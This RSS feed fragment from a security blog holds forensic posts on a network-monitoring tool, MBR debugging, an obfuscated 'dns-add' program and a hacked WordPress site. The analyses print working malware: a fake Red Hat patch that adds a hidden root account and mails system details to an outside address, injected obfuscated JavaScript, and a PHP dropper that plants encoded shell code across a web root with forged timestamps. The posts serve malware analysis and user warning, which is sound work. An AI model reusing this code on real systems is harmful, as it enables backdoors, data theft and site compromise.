<li>Install Visual C++ Runtime libraries with v<strong>credist_x86.exe </strong>(not necessary if the target machine happens to have Python already installed)</li>
</ul>
<div>So far, I tested it successfully on Windows XP, Windows 2003, Ubuntu 11.10 and Mac OS Lion. But as it is a simple Python script, it is supposed to work on all platform.</div>
<div>
<p><strong>Compiling</strong></p>
<p>You may recompile the program as a Windows binary executable by issuing this command:</p>
<p><strong>&gt; setup.py py2exe</strong></p>
</div>
<p><strong>How to use</strong></p>
<ul>
<li>Copy <strong>soktSpy.exe </strong>and its configuration file <strong>config.cfg</strong>.</li>
<li>Edit <strong>config.cfg </strong>with the IP you want to monitor</li>
<li>Start <strong>soktSpy.exe</strong>.</li>
</ul>
<p>Then, as soon as the sneaky process will send out a packet toward the monitored IP, a log record will be triggered:</p>
<p><a href="/wp-content/uploads/2012/06/soktspy02.png" rel="lightbox[1254]"><img class="aligncenter size-large wp-image-1255" title="soktspy02" src="/wp-content/uploads/2012/06/soktspy02-1024x327.png" alt="" width="1024" height="327" srcset="/wp-content/uploads/2012/06/soktspy02-1024x327.png 1024w, /wp-content/uploads/2012/06/soktspy02-300x96.png 300w, /wp-content/uploads/2012/06/soktspy02.png 1118w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></p>
<p>The log file contains the following info, in that order:</p>
<ul>
<li>Detection time (based on the system local time)</li>
<li>Process creation time</li>
<li>PID</li>
<li>Process Name</li>
<li>Protocol Family (2 = IPv4, 23 = IPv6)</li>
<li>Process Owner</li>
<li>Source socket (IP, port)</li>
<li>Destination socket (IP, port)</li>
<li>Socket Status</li>
</ul>
<p><strong>Future Plans</strong></p>
<p>Please tell me if you have any idea on how to improve it.</p>
<p>For now, I plan to add a feature that will dump the memory of the suspicious processes when it is executing.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Debugging the MBR with IDA Pro and Bochs</title>
		<link>/2011/01/20/debugging-the-mbr-with-ida-pro-and-bochs.html</link>
		<comments>/2011/01/20/debugging-the-mbr-with-ida-pro-and-bochs.html#comments</comments>
		<pubDate>Thu, 20 Jan 2011 19:57:46 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Assem]]></category>
		<category><![CDATA[Bochs]]></category>
		<category><![CDATA[Bootkit]]></category>
		<category><![CDATA[Debugger]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[IDA Pro]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[MBR]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=980</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=980</guid>
		<description><![CDATA[Analyzing the MBR is sometimes required during a forensic process, if you suspect a malicious activity that is not detected on-line. With static analysis, you may see if an obvious corruption happened, but you will need to debug to learn more. Prerequisite : IDA Pro (6.0) with the IDA Python plug-in (1.4.3) Steps : Prepare...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2011/01/20/debugging-the-mbr-with-ida-pro-and-bochs.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>Analyzing the MBR is sometimes required during a forensic process, if you suspect a malicious activity that is not detected on-line. With static analysis, you may see if an obvious corruption happened, but you will need to debug to learn more.</p>
<h2>Prerequisite :</h2>
<ul>
<li>IDA Pro (6.0) with the IDA Python plug-in (1.4.3)</li>
</ul>
<h2>Steps :</h2>
<ol>
<li>Prepare your forensic disk image.<br />
In general, it is that simple :</p>
<pre>$ dd if=&lt;source&gt; of=disk.img bs=65536 conv=noerror</pre>
<p>Or :</p>
<pre>$ ddrescue -n &lt;source&gt; &lt;dest&gt; file.log</pre>
<p>Check the disk geometry using :</p>
<pre>$ fdisk -luc disk.img</pre>
<p>These values will be useful for step 5.<br />
However, if you have an exotic disk, it may be much trickier. For example, I got some geometry errors with a flash disk when using Bochs at step 11. Special thanks to Gene Cumm from the bochs-developpers mailing list who gave me the tip to specify the geometry to dd :</p>
<pre>$ dd if=input of=output bs=2064384 count=507</pre>
</li>
<p>Refer to <a title="CHS" href="http://en.wikipedia.org/wiki/Cylinder-head-sector" target="_blank">CHS</a> if you wonder how to get these values.</p>
<li>Extract the MBR from the disk or from the image you just took.
<pre>$ dd if=&lt;source&gt; of=mbr.dump bs=512 count=5</pre>
</li>
<li>Download and install the <a title="Bochs emulator" href="http://bochs.sourceforge.net/" target="_blank">Bochs x86-64 emulator</a>, which comes with a debugger that will work nicely with IDA.</li>
<li>Download <a title="MBR Bochs scripts" href="http://hexblog.com/ida_pro/files/mbr_bochs.zip" target="_self">this archive</a> from Hexblog (IDA Pro&#8217;s blog). We will use two files from there : <em>bochrc</em>, wich is the configuration file for Bochs, and <em>mbr.py</em> which a python file helpful from preparing the debugging environment.</li>
<li> Copy <em>bochrc</em> in your working directory and edit the following line to match your disk image geometry :
<pre>ata0-master: type=disk, path="sdb.img", mode=flat, cylinders=507, heads=64, spt=63</pre>
<p>Before going on, you may test that Bochs can use the image with these settings :</p>
<pre>C:\&gt;"c:\Program Files\Bochs-2.4.5\bochsdbg.exe" -f bochsrc -q</pre>
</li>
<li>In the same directory, copy <em>mbr.py</em> and edit the following settings :
<pre># Some constants
SECTOR_SIZE = 512
BOOT_START  = 0x7C00
BOOT_SIZE   = 0x7C00 + SECTOR_SIZE * 4
BOOT_END    = BOOT_START + BOOT_SIZE
SECTOR2     = BOOT_START + SECTOR_SIZE
MBRNAME    = "mbr.img"
IMGNAME     = "sdb.img"</pre>
</li>
<li>Now open a console and type :
<pre>C:\&gt; mbr update</pre>
</li>
<li>With IDA Pro, open the <em>boshrc</em> file. IDA should recognize the format and set the proper settings.</li>
<li>From the menu, open <em>File/Script File</em> and select <em>mbr.py</em>. It will close IDA after execution.</li>
<li>Open again your <em>*.idb</em> file, set a breakpoint at <em>0x7C00</em>.</li>
<li>Start the debugger.</li>
</ol>
<p>You should now be able to go ahead and debug the MBR step by step.</p>
<p><img class="aligncenter size-full wp-image-996" title="ida-mbr" src="/wp-content/uploads/2011/01/ida-mbr.png" alt="" width="600" height="546" srcset="/wp-content/uploads/2011/01/ida-mbr.png 600w, /wp-content/uploads/2011/01/ida-mbr-300x273.png 300w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<h2>References :</h2>
<ul>
<li>Hexblog : <a title="Develop your master boot record and debug it with IDA Pro and the Bochs debugger " href="http://www.hexblog.com/?p=103" target="_blank">Develop your master boot record and debug it with IDA Pro and the Bochs debugger plugin</a></li>
<li>MISC Magazine #53 : Votre MBR pris en otage ! &#8211; Nicolas Brulez (Kaspersky labs)</li>
<li>Bochs User Manual : <a title="Bochs tips and techniques" href="http://bochs.sourceforge.net/doc/docbook/user/howto.html#AEN2776" target="_blank">Chapter 8, Tips and Techniques</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>/2011/01/20/debugging-the-mbr-with-ida-pro-and-bochs.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>A link between Stuxnet and the OpenBSD IPSEC backdoor rumor ?</title>
		<link>/2011/01/16/a-link-between-stuxnet-and-the-openbsd-ipsec-backdoor-rumor.html</link>
		<pubDate>Sun, 16 Jan 2011 22:12:53 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[IPSEC]]></category>
		<category><![CDATA[OpenBSD]]></category>
		<category><![CDATA[stuxnet]]></category>
		<category><![CDATA[worm]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=967</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=967</guid>
		<description><![CDATA[Found on Full Disclosure, a weired but troubling connection of two security affairs : the OpenBSD backdoor rumor and the stuxnet worm.]]></description>
				<content:encoded><![CDATA[<p>Found on Full Disclosure, a weired but troubling connection of two security affairs : <a title="OpenBSD backdoor and stuxnet" href="http://extendedsubset.com/?p=43" target="_blank">the OpenBSD backdoor rumor and the stuxnet worm</a>.</p>
]]></content:encoded>
			</item>
		<item>
		<title>Beware of source code (even from your favorite portal/forum/&#8230;)</title>
		<link>/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html</link>
		<comments>/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html#comments</comments>
		<pubDate>Sat, 24 Apr 2010 12:14:04 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Forensic]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[RC4]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[social engineering]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=793</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=793</guid>
		<description><![CDATA[The other day I stumbed upon a weired piece of software on howtoforge.com : dns-add (code on sourceforge.net). Actually, the purpose of dns-add was very intriguing : update your DNS in one command ! The output should look like this: ...::: ISP-fW DNS add v1.0 :::... http://isp-fw.sourceforge.net/ --== copyleft 2005-2006 ==-- &#124; Free memory: 864...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>The other day I stumbed upon a weired piece of software on <a title="Howtoforge.com" href="http://howtoforge.com" target="_blank">howtoforge.com</a> : <a title="dns-add" href="http://www.howtoforge.com/adding-dns-servers-in-one-step-with-dns-add" target="_blank">dns-add</a> (code <a title="Sourceforge dns-add" href="http://sourceforge.net/projects/isp-fw/files/DNS-add/" target="_blank">on sourceforge.net</a>).</p>
<p>Actually, the purpose of dns-add was very intriguing : update your DNS in one command !</p>
<p>The output should look like this:</p>
<pre>...::: ISP-fW DNS add v1.0  :::... http://isp-fw.sourceforge.net/
--== copyleft 2005-2006 ==-- | Free memory:         864
contact isp.devel@gmail.com
You can add up to 9 DNS servers, enter a number from [0-9]: 2
Enter DNS1: 192.168.157.193
Enter DNS2: 192.168.157.251
Done adding 2 DNS!
DNS 192.168.157.193 responded in 0.256 ms
DNS 192.168.157.251 responded in 0.112 ms</pre>
<p>Who would need it these days where all distros include tools and script to update the DNS with DHCP. At worst, it is just a matter of opening an editor to add two lines in <code>/etc/resolv.conf</code>. Done in 10 seconds.</p>
<p>To enjoy dns-add, we are supposed to compile the source code. Let&#8217;s have a look at it first.</p>
<p>It gets quickly obvious that there could be something nasty. The code is clearly obfuscated, to make it difficult to read:</p>
<ul>
<li>not much commented,</li>
<li>a bunch of strange variables like &#8220;\026\243\314\376\220\366\154\166\346\334\005\116\360\114\015\231&#8221;. Could be the real code, hidden,</li>
<li>None of the visible stuff seems to do anything on the DNS.</li>
</ul>
<p>So now, let&#8217;s try to find out what&#8217;s behind all that. As we have the source code, the idea is to understand what the code is doing, so that we can write a snippet at the right place to just read the deciphered and potentially malicious code. That&#8217;s the easiest way, no need to disassembly and do memory forensic.</p>
<p>A good practice is to look for some pieces of code on the web, as developpers are lazy and often reuse already existing code. Doing that, you can save a lot of time.</p>
<p>Bingo ! There is a code almost entirely identical <a title="RedHat update malware" href="http://packetstormsecurity.nl/0410-advisories/FakeRedhatPatchAnalysis.txt" target="_blank">there</a>.<br />
We learn that the code, as old as 6 years old, actually hid a shell trojan instead of beeing a Red Hat update as claimed.</p>
<p>There is clearly a risk, so we must check what the code of dns-add contains. Here more hints help us again about the encoding used : some comments and a function name mention RC4 (or ARC4).</p>
<p>So let&#8217;s see how RC4 works and compare it with its possible implementation in dns-add.<br />
Rougly, RC4 is just an improved XOR whith the help of a lot of keys permutations. I found a clear and short description <a title="RC4" href="http://www.frontiernet.net/~fys/cypher.htm" target="_blank">there</a> :</p>
<blockquote><p>RC4 has two phases: key setup and ciphering.</p>
<p>The key setup phase is only done once per message and starts by initializing the entire state array so that the first state element is zero, the second is one, the third is two, and so on.</p>
<p>The state array is then subjected to 256 mixing operations using a loop that steps i through the values from zero to 255.</p>
<p>Each mixing operation consists of two steps:<br />
Add to the variable j the contents of the ith element of the state array and the nth element of the key, where n is equal to i modulo the length of the key.  (remember, the key here means the 10 byte IV at the front of the file, (or the one your program creates, if encoding), and the given key on the command line. (Key+IV)<br />
Swap the ith and jth elements of the state array.</p>
<p>After the entire mixing loop is completed, i and j are set to zero.</p>
<p>During the ciphering operation, the following steps are performed for each byte of the message:</p>
<p>The variable i is incremented by one<br />
The contents of the ith element of &#8216;State&#8217; is then added to j<br />
The ith and jth elements of &#8216;State&#8217; are swapped and their contents are added together to form a new value n.<br />
The nth element of &#8216;State&#8217; is then combined with the message byte, using a bit by bit exclusive-or operation (XOR), to form the output byte.<br />
The same ciphering steps are performed for encryption and for decryption.</p></blockquote>
<p><strong><em>void key(void * str, int len)</em></strong> for setting the key setup phase and <strong><em>void arc4(void * str, int len, char *hint)</em></strong> for the deciphering phase do exactly what&#8217;s described above.</p>
<p>They are called by <em><strong>char * xsh(int argc, char ** argv)</strong></em>, which we are going to look at carefully now.</p>
<p>This function succevely setup all keys and decipher all the hardcoded vars. Note that a function, <strong><em>chkenv,</em></strong> setup a variable in the environment, based on the PID (and other tricks). It is not useful in the present case, but it could be developped further and used for example to avoid over-infections.</p>
<p>What&#8217;s interesting is actually the bottom of the function, where the guy actually builds the shellcode, putting alltogether the pieces of deciphered code.</p>
<pre>j = 0;
varg[j++] = argv[0];		/* My own name at execution */
if (ret && *opts)
	varg[j++] = opts;	/* Options on 1st line of code */
if (*inlo)
	varg[j++] = inlo;	/* Option introducing inline code */
varg[j++] = scrpt;		/* The script itself */
if (*lsto)
	varg[j++] = lsto;	/* Option meaning last option */
i = (ret > 1) ? ret : 0;	/* Args numbering correction */
while (i < argc)
	varg[j++] = argv[i++];	/* Main run-time arguments */
varg[j] = 0;			/* NULL terminated array */</pre>
<p>Then, it is launched with execvp:</p>
<pre>
#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;
</pre>
<p><strong>Before testing further, it is safer to comment out the execvp line.</strong></p>
<p>Now, we just need to retrieve the shellcode, so we just add this lazy piece of code (to insert right before #if DEBUGEXEC):</p>
<pre>
FILE *fout;
char **tmp;
tmp = varg;
fout = fopen ("dns-test","w");
do {
  fprintf (fout, *tmp);
}
while (*tmp++ != NULL);
fclose (fout);</pre>
<p>Here we go :</p>
<pre>
$ ./dns-add
$ cat shellcode
./dns-add-c           <blank chars skipped>                    #!/bin/bash

dnsfile="/etc/resolv.conf"
failed='\e[1;31m'failed'\e[0m'
ok='\e[1;34m'ok'\e[0m'

function dns_add(){
mv -f $dnsfile $dnsfile.back
for (( i=1; i <= $dns_nr; i++ )) do
    echo -n "Enter DNS${i}: "
    read dns;
    echo "nameserver $dns" >> $dnsfile;
done
echo "Done adding $dns_nr DNS!"
echo
for i in `cat $dnsfile | cut -d " " -f 2`; do
    if [ `ping -c 1 $i | grep -c "100%"` -eq 1 ]; then
            echo -e "DNS $i $failed to respond => request timeout :( "
    else
        echo -ne "DNS $i responded in ";
        ping -c 1 $i | grep icmp_seq | cut -d "=" -f 4;
    fi
done
}

clear
echo -e "...::: ISP-fW DNS add v1.0  :::...""\e[1m\e[36;40m" "http://isp-fw.sourceforge.net/\e[0m ";
echo -e "--== copyleft 2005-2006 ==-- | Free memory: $(free -m|grep cache:|cut -d ":" -f2|cut -c12-22)";
echo "contact isp.devel@gmail.com"
echo
echo -n "You can add up to 9 DNS servers, enter a number from [0-9]: ";
read dns_nr;

case $dns_nr in
  [0-9]         ) dns_add;;
  [[:lower:]]   ) echo "$dns_nr is not a number!";;
  [[:upper:]]   ) echo "$dns_nr is not a number!";;
  *             ) echo "$dns_nr is not a number!";;
esac
./dns-add</pre>
<p>That's it. A big C file just for this lame shell script. The good news is that it does what it says. There is no malicious purpose, for now, it's nothing else than a (bad) joke.</p>
<p>In the case of the original malware, it was more harmfull :</p>
<pre>#!/bin/sh
cd /tmp/
clear
if [ `id -u` != "0" ]
then
        echo "This patch must be applied as \"root\", and you are: \"`whoami`\""
        exit
fi
echo "Identifying the system. This may take up to 2 minutes. Please wait ..."
sleep 3
if [ ! -d /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " ]; then
 echo "Inca un root frate belea: " >> /tmp/mama
 adduser -g 0 -u 0 -o bash >> /tmp/mama
 passwd -d bash >> /tmp/mama
 ifconfig >> /tmp/mama
 uname -a >> /tmp/mama
 uptime >> /tmp/mama
 sshd >> /tmp/mama
 echo "user bash stii tu" >> /tmp/mama
 cat /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null
 rm -rf /tmp/mama
 mkdir -p /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." "
fi

bla()
{
  sleep 2
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 2
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 3
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 4
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo "#"
  sleep 1
}

echo "System looks OK. Proceeding to next step."
sleep 1
echo
echo -n "Patching \"ls\": "
bla
echo -n "Patching \"mkdir\": "
bla
echo
echo "System updated and secured successfuly. You may erase these files."
sleep 1
./badexec 'exec '%s' "$@"' "$@"</pre>
<p>Technically, at the end, it is rather basic. However, it is successful in the way that it hides its purpose to most people.<br />
What's not clear yet is the poster purpose. Fun ? Any other weired feeling ? Or just testing the capacity of the community to detect maliscious software ? If so, was he just curious or does he have any future plan ?<br />
Maybe I should ask him.</p>
<p>Anyway, how many people opened and read the code ? Especially on a community driven website where people tend to have a dangerous feeling of trust and safety : it can't be malicious, the author offers the source code and nicely shares his work, right ?<br />
And among the few people who checked the code, who really understood it ? Not everyone is an IT specialist. And even among them, not everyone is a developper or can read C.</p>
<p>It highlights well several things :</p>
<ul>
<li><strong>social engineering is multi-platform ! </strong>We are often more vulnerable than our systems. Linux user or not.</li>
<li><strong>software published with the source code doesn't mean safe software</strong>.</li>
</ul>
<p>As much as possible, download software exclusively from the official repositories of your favorite distribution (openSUSE ;)).<br />
If you really have to use code from an untrusted source, check it, or wait for the right people to do it! Don't just grab any code, compile it and execute it blindly.</p>
<p>At the same time as open-source software grows, we, users, and also websites like Sourceforge will have to be more carefull about the content we download.</p>
<p><strong><span style="color: #ff0000;"><em><span style="color: #ff0000;">* Update *</span></em></span></strong></p>
<p><em><span style="color: #993300;">I did contact the author and didn't get any answer.<br />
I reported the issue to Sourceforge, which deleted the account hosting dns-add, as it violated the website policies.</span></em></p>
<p><em><span style="color: #993300;">You can download the source code </span></em><a href="/wp-content/uploads/2010/04/dns-add.tar.gz"><em><span style="color: #0000ff;">dns-add.tar.gz</span></em></a><em><span style="color: #993300;"> if you want to analyse it.</span></em></p>
]]></content:encoded>
			<wfw:commentRss>/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Hacked !</title>
		<link>/2008/06/03/hacked.html</link>
		<comments>/2008/06/03/hacked.html#comments</comments>
		<pubDate>Tue, 03 Jun 2008 20:25:25 +0000</pubDate>
		<dc:creator><![CDATA[phocean]]></dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=109</guid>
		<guid isPermaLink="false">http://www.phocean.net/?p=109</guid>
		<description><![CDATA[This blog got hacked yesterday. It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress. It was not just like the classic SQL injection that is usually used to post some malicious post. The following code was added : &#60;?php echo '&#60;script type=&#34;text/javascript&#34;&#62;function count(str){var res = &#34;&#34;;for(i...<br><i class="icon-right-hand"></i> <span class="read-more"><a href="/2008/06/03/hacked.html">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p>This blog got hacked yesterday.</p>
<p>It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress.<br />
It was not just like the classic SQL injection that is usually used to post some malicious post.</p>
<p>The following code was added :</p>
<pre>&lt;?php echo '&lt;script type=&quot;text/javascript&quot;&gt;function count(str){var res = &quot;&quot;;for(i = 0; i &lt; str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(&quot;&gt;khtcog\&quot;ute?jvvr&lt;11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\&quot;ykfvj?3\&quot;jgkijv?3\&quot;htcogdqtfgt?2@&quot;));&lt;/script&gt;';?&gt;</pre>
<p><span id="more-109"></span></p>
<p>It make me think that there is a serious vulnerability somewhere on WordPress or a plugin, though my versions were up-to-date.</p>
<p>Now the blog is back to normal, after a clean reinstallation (erased all the former files).</p>
<p><a title="Wordpress, hacked" href="http://wordpress.org/support/topic/179428/page/2" target="_blank">I am not the only one to experience this mess</a>.</p>
<p>For now, the blog is running with a minimal number of plugin &#8211; just akismet, actually &#8211; until the cause of that gets clearer.</p>
<p>Not a lot of plugins runned before, so it mainly means that the OpenID support for authentication is cut off.</p>
<p>As my php knowledge is very low, anyone having some tips is welcome. I love WordPress, I would like to avoid looking for another platform or switch to static html !</p>
<p>&#8212;</p>
<p><strong>UPDATE 06/13/2008 :</strong><br />
As C.S Lee suggested in a comment, there were a very suspicious wp-stats.php file in the root of my hacked archive.</p>
<p>There is the code :</p>
<pre>
&lt;?php

@error_reporting(E_ALL);
@set_time_limit(0);
mt_srand(crc32(microtime()));
  
  
define('SHCODE', 'PDaWYgKCRjb2RlID0gQGZyZWFkKEBmb3BlbigkSFRUCmVjaG8gIjwvcHJlPiI7Cj8+');

$pres = array('lib_','co_','pre_','net_','func_','ad_','ext_','new_','old_','fix_','fixed_','na_','av_','fx_');  
$fui = $pres[array_rand($pres)];

global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8, 7, 6, 6, 5, 5, 5, 5, 0);

function my_fwrite($f, $data) {
  global $CURFILE;
  $file_mtime = @filemtime($f);
  $file_atime = @fileatime($f);
  $dir_mtime = @filemtime(@dirname($f));
  $dir_atime = @fileatime(@dirname($f));
  if ($file_h = @fopen($f, &quot;wb&quot;)) {
    @fwrite($file_h, $data); @fclose($file_h);
    if ($file_mtime) {
      @touch($f, $file_mtime, $file_atime);
    } elseif (@filemtime($CURFILE)) {
      @chmod($f, @fileperms($CURFILE));
      @touch($f, @filemtime($CURFILE), @fileatime($CURFILE));
      @chgrp($f, @filegroup($CURFILE));
      @chown($f, @fileowner($CURFILE));
    };
    if ($dir_mtime) @touch(@dirname($f), $dir_mtime, $dir_atime);
    return $f;
  } else {
    return '';
  };
};

function ext($f) {
  return substr($f, strrpos($f, &quot;.&quot;) + 1);
};

function walkdir($p, $func='_walkdir', $l=0) {
  global $START;
  global $WD_TIMEOUT;
  global $FL;
  $func_f = &quot;{$func}_f&quot;;
  $func_d = &quot;{$func}_d&quot;;
  $func_s = &quot;{$func}_s&quot;;
  $func_e = &quot;{$func}_e&quot;;
  if ($dh = @opendir(&quot;$p&quot;)) {
    if (function_exists($func_s)) {
      if ($func_s($p, $l)) return 1;
    };
    while ($f = @readdir($dh)) {
      if (time() - $START &gt;= $WD_TIMEOUT[$l] ) break;
      if ($f == '.' || $f == '..' ) continue;
      if (@is_dir (&quot;$p$f/&quot;) ) walkdir(&quot;$p$f/&quot;, $func, $l+1);
      if (@is_dir (&quot;$p$f/&quot;) &amp;&amp; function_exists($func_d))
        $func_d(&quot;$p$f/&quot;, $l);
      if (@is_file(&quot;$p$f&quot; ) &amp;&amp; function_exists($func_f))
        $func_f(&quot;$p$f&quot; , $l);
    };
    closedir($dh);
    if (function_exists($func_e)) $func_e($p, $l);
  };
};

function r_cut($p) {
  global $R;
  return substr($p, strlen($R));
};

function say($t) {
  echo &quot;$t\n&quot;;
};

function testdata($t) {
  say(md5(&quot;mark_$t&quot;));
};

$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'] .
  $HTTP_SERVER_VARS['SCRIPT_NAME'];
echo &quot;&lt;pre&gt;&quot;;
testdata('start');
$fe = ext($CURFILE);
if (!$fe) $fe = 'php';
//$FN = &quot;namogofer.$fe&quot;;

function _walkdir_s($d, $l) {
  global $FCNT;
  $FCNT = array( 'fn' =&gt; '', 'dir' =&gt; 0, 'file' =&gt; 0, 'simtype' =&gt; 0 );
};

function _walkdir_d($d,$l) {
  global $FCNT;
  $FCNT['dir' ]++;
};

function _walkdir_f($f,$l) {
  global $FCNT, $CURFILE;
  $FCNT['file']++;
  if (ext($f) == ext($CURFILE)) $FCNT['simtype']++;
};

function update_passwd($data)
  {
  global $FCNT;
  $password = &quot;&quot;;
  $possible = &quot;abcdefghijklmnopqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&amp;*&quot;; 
  $i = 0;
  while ($i &lt; 15) 
    { 
    $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);
    if (!strstr($password, $char)) 
      { 
      $password .= $char;
      $i++;
      }
    }
  $FCNT['passwd'] = $password;
  $md5password = md5($password);
  return preg_replace(&quot;|define\('PASSWD',\s*'(.*)'|&quot;, &quot;define('PASSWD','$md5password'&quot;, $data);
  }

function notinf($ar, $tx)
  {
  $R = true;
  foreach ($ar as $ca)
    {
    //echo &quot;pass &quot;.substr($tx, 0, strlen($ca)).&quot; in $tx for $ca\n&quot;;
    if (&quot;$ca&quot; == substr($tx, 0, strlen($ca)))
      {
      $R = false;
      //echo &quot;gotcha\n&quot;;
      break;
      }
    }
  return $R;
  }

function _walkdir_e($d,$l) 
  {
  global $C, $FCNT, $FN, $fui, $pres;
  
    $the_data = base64_decode(SHCODE);
    $the_dir = opendir(&quot;$d&quot;);
    $is_php=false;
    if ($the_dir)
        while($cfile = readdir($the_dir))
            {
            if(
                $is_php=
                
                (('.php' == substr($cfile, -4))and
                 notinf($pres, $cfile)and
                ($cfile!='index.php'))
                 
              )
              {
              $FN = &quot;$fui$cfile&quot;;
              break;
              }
              else
              {
              //echo &quot;pass $cfile\n&quot;;
              }
            }
                         
        if ( $is_php and my_fwrite(&quot;$d$FN&quot;, str_repeat(&quot;\n&quot;,100) . str_repeat('', 150) .
                    update_passwd($the_data . str_repeat(' ', 150) . &quot;\n&quot; . str_repeat(&quot;\n&quot;, 100))))
                    {
                    $FCNT['fn'] = r_cut(&quot;$d$FN&quot;);
                    say(implode(&quot; &quot;, $FCNT));
                    }

  };

walkdir(&quot;$R/&quot;);
testdata('end');
?&gt;</pre>
<p>I will try anyway to put a deeper look when I have a little time : now, I have to go to work.</p>
]]></content:encoded>
			<wfw:commentRss>/2008/06/03/hacked.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
